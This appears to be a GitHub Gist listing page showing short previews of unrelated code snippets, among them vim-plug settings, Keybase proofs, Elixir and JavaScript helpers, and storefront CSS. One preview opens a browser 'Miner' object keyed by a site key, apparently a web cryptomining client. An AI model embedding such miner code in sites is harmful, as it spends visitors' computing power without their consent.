Skip to content

Instantly share code, notes, and snippets.

" Specify a directory for plugins
" - For Neovim: ~/.local/share/nvim/plugged
" - Avoid using standard Vim directory names like 'plugin'
call plug#begin('~/.vim/plugged')
" Shorthand notation; fetches https://github.com/junegunn/vim-easy-align
Plug 'junegunn/vim-easy-align'
" Any valid git URL is allowed
### Keybase proof
I hereby claim:
* I am mupt on github.
* I am fbonnevier (https://keybase.io/fbonnevier) on keybase.
* I have a public key whose fingerprint is C18D 2146 56B2 96C8 1FE3 5A9E 1604 D34D B951 C96E
To claim this, I am signing this object:
# Test if a string is numeric. Used in a situation where Map contained values as Strings
#(that were both numeric and non-numeric) and required casting to integers prior to inserting into the database.
defmodule RC do
def is_numeric(str) do
case Float.parse(str) do
{_num, ""} -> true
_ -> false
end
end
class Cookie {
constructor({type, flour, additives, glutenFree}) {
this.type = type;
this.flour = flour;
this.additives = additives;
this.glutenFree = glutenFree;
}
}
class CookieMonster {
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];
this._hashes = 0;
this._currentJob = null;
this._autoReconnect = true;

Keybase proof

I hereby claim:

  • I am mupt on github.
  • I am fbonnevier (https://keybase.io/fbonnevier) on keybase.
  • I have a public key whose fingerprint is 3538 DD75 57FA B056 D607 C27E EAC2 975C C546 AEEF

To claim this, I am signing this object:

/**
* @param {string} s
* @return {number}
*/
var strongPasswordChecker = function(s) {
const valid = false;
const charLengthRegEx = new RegExp(/([A-Za-z0-9]){6,20}/);
WORKAREA.registerModule('browseFilters', (function () {
'use strict';
var pageURL = window.location.href,
toggleFilters = function (event) {
event.preventDefault();
var $filter = $(event.currentTarget),
WEBLINC.registerModule('fauxSubmit', (function () {
var grabDOMElements = function($trigger) {
//Going in and grabbing a single DOM Element.
$toggleLink = $trigger.find('.checkout-payment__tertiary-method-edit');
hideOtherArea($trigger);
bindContainerClick($toggleLink);
@font-face {
font-style: normal;
font-family: 'Lato';
font-weight: normal;
src: font-url('alfred_dunner/weblinc/store_front/lato/lato-regular.eot');
src: font-url('alfred_dunner/weblinc/store_front/lato/lato-regular.eot?#iefix') format('embedded-opentype'),
font-url('alfred_dunner/weblinc/store_front/lato/lato-regular.woff2') format('woff2'),
font-url('alfred_dunner/weblinc/store_front/lato/lato-regular.woff') format('woff'),
font-url('alfred_dunner/weblinc/store_front/lato/lato-regular.ttf');
}